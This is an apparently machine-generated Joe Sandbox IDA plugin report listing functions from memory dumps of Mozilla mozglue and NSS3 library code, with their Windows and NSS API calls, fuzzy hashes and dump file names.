
Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2f2d1590de75b956a5a83fe26463c7032f93187af740fbbffab6c89db0e08e2e
Instruction ID: 30ece3400e3600209fb5aca2a5cde2be8140d8bf634147d05ddf5b40795cc0b3
Opcode Fuzzy Hash: 2f2d1590de75b956a5a83fe26463c7032f93187af740fbbffab6c89db0e08e2e
Instruction Fuzzy Hash: 51D18D75A04B069FD718CF28C580B99F7F1BF89308F05862DD8598B712EB31A9A5CB91

Function 6CA45C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA45D40
EnterCriticalSection.KERNEL32(6CAAF688), ref: 6CA45D67
__aulldiv.LIBCMT ref: 6CA45DB4
LeaveCriticalSection.KERNEL32(6CAAF688), ref: 6CA45DED

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fff9d15666c7597fbd1071362d074b92fa307b464ea2af98abcd59b51f1fb26f
Instruction ID: 6b62dfa14488ece76494b6b2603c5500c843a5418b91524d7ac1105166a17ff5
Opcode Fuzzy Hash: fff9d15666c7597fbd1071362d074b92fa307b464ea2af98abcd59b51f1fb26f
Instruction Fuzzy Hash: EB514C71E0025A8FDF0CCFA8D954AAEBBB2BF85304F19C61DD811A7760C7306986CB90

Function 6CA2CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA2CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA2CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA2CF4E

Strings

0, xrefs: 6CA2CF30

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 9cc72462458685eb47b876e3ecc5358d831c209673a733130a2d8a649ee1c1ea
Instruction ID: ace0222050a41a63723c66df18bef521f892248ce2de5b57abf20afecb717ddf
Opcode Fuzzy Hash: 9cc72462458685eb47b876e3ecc5358d831c209673a733130a2d8a649ee1c1ea
Instruction Fuzzy Hash: BD512471A002668FCB04CF18C490A9AFBB5EF99304F19819DD8595F352D335ED46CBE0

Function 6CC04FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CAE85D2,00000000,?,?), ref: 6CC04FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC0500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC050C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC050D6

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 2a69b867a278ba409a83952957d33506a7ea8544fc814e2b4b5354c703c8f5b4
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 90414CB2A402158BDB18CF18DC917AAB7E1BF4431C71D466DD84ACBB02F779E891CB85

Function 6CB46C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB46C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB46CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CB46CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CC68FE0), ref: 6CB46CFE

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: f11fe4c15b361d57f5ca02ced62dedea434367e93f181110d5ed9b4b2d36823f
Instruction ID: acb4bbb14cadcfee9f1c72eb0b96292528496d6cb7b76202505c53cafff0e901
Opcode Fuzzy Hash: f11fe4c15b361d57f5ca02ced62dedea434367e93f181110d5ed9b4b2d36823f
Instruction Fuzzy Hash: 8531A1B5A042169FDB08CF65C881ABFBBF9EF45248B10843DD905D7705EB319905CBA1

Function 6CA66470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CA682BC,?,?), ref: 6CA6649B

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA664A9

Part of subcall function 6CA5FA80: GetCurrentThreadId.KERNEL32 ref: 6CA5FA8D
Part of subcall function 6CA5FA80: AcquireSRWLockExclusive.KERNEL32(6CAAF448), ref: 6CA5FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA6653F
free.MOZGLUE(?), ref: 6CA6655A

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 1fc7ac139c4229a6e07bbbe90146ccbc944346af8cc3d2d89ec9ed7c97cac870
Instruction ID: 5b5a1424b558b0b289f24215e3c221b3c3f4e8989fc6c2804f07bfe1b7c30a5e
Opcode Fuzzy Hash: 1fc7ac139c4229a6e07bbbe90146ccbc944346af8cc3d2d89ec9ed7c97cac870
Instruction Fuzzy Hash: D131A2B5A043059FD704CF25D980A9EBBF4FF88314F00852EE85A97751EB30E959CB92

Function 6CBB6DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CBB6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBB6E57

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CBB6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CBB6EAA

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: b4ec9566c191e8727d8c45a159c87c0b7b56c16f889c5f91e89cae00caea661f
Instruction ID: 971e35dec99dc97cd35cb165674ef66c7a962310bfbeb60a73569aa023115cdb
Opcode Fuzzy Hash: b4ec9566c191e8727d8c45a159c87c0b7b56c16f889c5f91e89cae00caea661f
Instruction Fuzzy Hash: 5B319372610592EFDB185F34DC043BAB7A4EB0531AF14063CE499E6A80EF31BD54CB92

Function 6CB84FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CB8B60F,00000000), ref: 6CB85003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CB8B60F,00000000), ref: 6CB8501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CB8B60F,00000000), ref: 6CB8504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CB8B60F,00000000), ref: 6CB85064

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 4dd2e5f6dcc8d8e77f356c053f045eee7fd605e70a5e92596f19255de9c22dbd
Instruction ID: 953387204aa80ff20e40608fd0b4026ca87d0982725912c23449b0fef32d8e32
Opcode Fuzzy Hash: 4dd2e5f6dcc8d8e77f356c053f045eee7fd605e70a5e92596f19255de9c22dbd
Instruction Fuzzy Hash: AC3128B4A05646CFDB00EF68D48466ABBF8FF08344F108529D85AD7700E730E894CBD2

Function 6CBB2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBB2E08

Part of subcall function 6CBA14C0: TlsGetValue.KERNEL32 ref: 6CBA14E0
Part of subcall function 6CBA14C0: EnterCriticalSection.KERNEL32 ref: 6CBA14F5
Part of subcall function 6CBA14C0: PR_Unlock.NSS3 ref: 6CBA150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CBB2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CBB2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBB2E95

Part of subcall function 6CBA1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CB488A4,00000000,00000000), ref: 6CBA1228
Part of subcall function 6CBA1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CBA1238
Part of subcall function 6CBA1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CB488A4,00000000,00000000), ref: 6CBA124B
Part of subcall function 6CBA1200: PR_CallOnce.NSS3(6CCA2AA4,6CBA12D0,00000000,00000000,00000000,?,6CB488A4,00000000,00000000), ref: 6CBA125D
Part of subcall function 6CBA1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CBA126F
Part of subcall function 6CBA1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CBA1280
Part of subcall function 6CBA1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CBA128E
Part of subcall function 6CBA1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CBA129A
Part of subcall function 6CBA1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CBA12A1

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 3445afc449c55ad4959d36c88a6a53465f20d232615151f6f720d86be33a95de
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: C921C2B5D143C58BEB00CF559D48BBA3664EF9130CF150269FD086B652FBB1E6988293

Function 6CB6ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CB6ACC2

Part of subcall function 6CB42F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CB42F0A
Part of subcall function 6CB42F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB42F1D

Part of subcall function 6CB42AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CB40A1B,00000000), ref: 6CB42AF0
Part of subcall function 6CB42AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB42B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CB6AD5E

Part of subcall function 6CB857D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CB4B41E,00000000,00000000,?,00000000,?,6CB4B41E,00000000,00000000,00000001,?), ref: 6CB857E0
Part of subcall function 6CB857D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CB85843

CERT_DestroyCertList.NSS3(?), ref: 6CB6AD36

Part of subcall function 6CB42F50: CERT_DestroyCertificate.NSS3(?), ref: 6CB42F65
Part of subcall function 6CB42F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB42F83

free.MOZGLUE(?), ref: 6CB6AD4F

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 5bc8f1f5ee3f482d593cd4a5f470832d7ed0c7bc06f07a5a97b2896fb60547ad
Instruction ID: f955b84e1c8a153350ad9ea8afcc190906f3a421ffa04b3eb1e3e6aa5e75c281
Opcode Fuzzy Hash: 5bc8f1f5ee3f482d593cd4a5f470832d7ed0c7bc06f07a5a97b2896fb60547ad
Instruction Fuzzy Hash: 4A21D5B1D002649BEF10DF65D8055EEB7B4EF05218F458068DC09BBB01FB31AA59CBE2

Function 6CB9ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CB9F0AD,6CB9F150,?,6CB9F150,?,?,?), ref: 6CB9ECBA

Part of subcall function 6CBA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB487ED,00000800,6CB3EF74,00000000), ref: 6CBA1000
Part of subcall function 6CBA0FF0: PR_NewLock.NSS3(?,00000800,6CB3EF74,00000000), ref: 6CBA1016
Part of subcall function 6CBA0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB487ED,00000008,?,00000800,6CB3EF74,00000000), ref: 6CBA102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CB9ECD1

Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA10F3
Part of subcall function 6CBA10C0: EnterCriticalSection.KERNEL32(?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA110C
Part of subcall function 6CBA10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1141
Part of subcall function 6CBA10C0: PR_Unlock.NSS3(?,?,?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA1182
Part of subcall function 6CBA10C0: TlsGetValue.KERNEL32(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CB9ED02

Part of subcall function 6CBA10C0: PL_ArenaAllocate.NSS3(?,6CB48802,00000000,00000008,?,6CB3EF74,00000000), ref: 6CBA116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CB9ED5A

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 2bc2fab35a1af798936a1d0061582bbcfd241b5d7a1a6ffabdb21d24e5ec706d
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: EC21D4B59007D29BE700CF25D944B5AB7E4FFA5308F15C226E81C87661EB70E594C6D1

Function 6CBCEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CBB7FFA,?,6CBB9767,?,8B7874C0,0000A48E), ref: 6CBCEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CBB7FFA,?,6CBB9767,?,8B7874C0,0000A48E), ref: 6CBCEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CBB7FFA,?,6CBB9767,?,8B7874C0,0000A48E), ref: 6CBCEE14

Part of subcall function 6CBA0BE0: malloc.MOZGLUE(6CB98D2D,?,00000000,?), ref: 6CBA0BF8
Part of subcall function 6CBA0BE0: TlsGetValue.KERNEL32(6CB98D2D,?,00000000,?), ref: 6CBA0C15

memcpy.VCRUNTIME140(?,?,6CBB9767,00000000,00000000,6CBB7FFA,?,6CBB9767,?,8B7874C0,0000A48E), ref: 6CBCEE33

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: c9426992887f40a477b32ac26f88db0c9f9d0b0b3f26f0f2e1f335f7614db676
Instruction ID: ccb8a7a40a97b702829e1dfa89dfee9c5635877b5751264e1bc69dede157914e
Opcode Fuzzy Hash: c9426992887f40a477b32ac26f88db0c9f9d0b0b3f26f0f2e1f335f7614db676
Instruction Fuzzy Hash: F711A3B1B007D7EBEB509EA5DC85B0AB3A8EB0439DF204535E91986A00E330F464C7E3

Function 6CA3B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA3B4F5
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA3B502
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA3B542
free.MOZGLUE(?), ref: 6CA3B578

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 5870bb2c58b38f04cf28d316dc51d93660962d2054351120baeaa33102adea28
Instruction ID: 072f0e4800f484e91e9d148baa5f15ac61b212bf62cea6326b8a981b3283db88
Opcode Fuzzy Hash: 5870bb2c58b38f04cf28d316dc51d93660962d2054351120baeaa33102adea28
Instruction Fuzzy Hash: BD11B731904F56CBD7158F69E9107A5B3B1FF96318F14A70EE84E93A01EBB1B1C687A0

Function 6CB68DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB68DE7
EnterCriticalSection.KERNEL32 ref: 6CB68DFC
PR_Unlock.NSS3 ref: 6CB68E2D
PR_SetError.NSS3 ref: 6CB68E49

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: cc9e0d77ad5a5481b23739b80e8a19e5f23c9264226af1ad386a35fa839fba27
Instruction ID: b3794a398bb24d38be93494172eb08b90749e4249bbaaa93353a2c8c73810012
Opcode Fuzzy Hash: cc9e0d77ad5a5481b23739b80e8a19e5f23c9264226af1ad386a35fa839fba27
Instruction Fuzzy Hash: 42116D71A056509BD700AF79D44815EBBF4FF06754F014929D888D7B00E731E8548BD2

Function 6CBEAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CBD5F17,?,?,?,?,?,?,?,?,6CBDAAD4), ref: 6CBEAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CBD5F17,?,?,?,?,?,?,?,?,6CBDAAD4), ref: 6CBEACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CBDAAD4), ref: 6CBEACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CBDAAD4), ref: 6CBEACDB

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
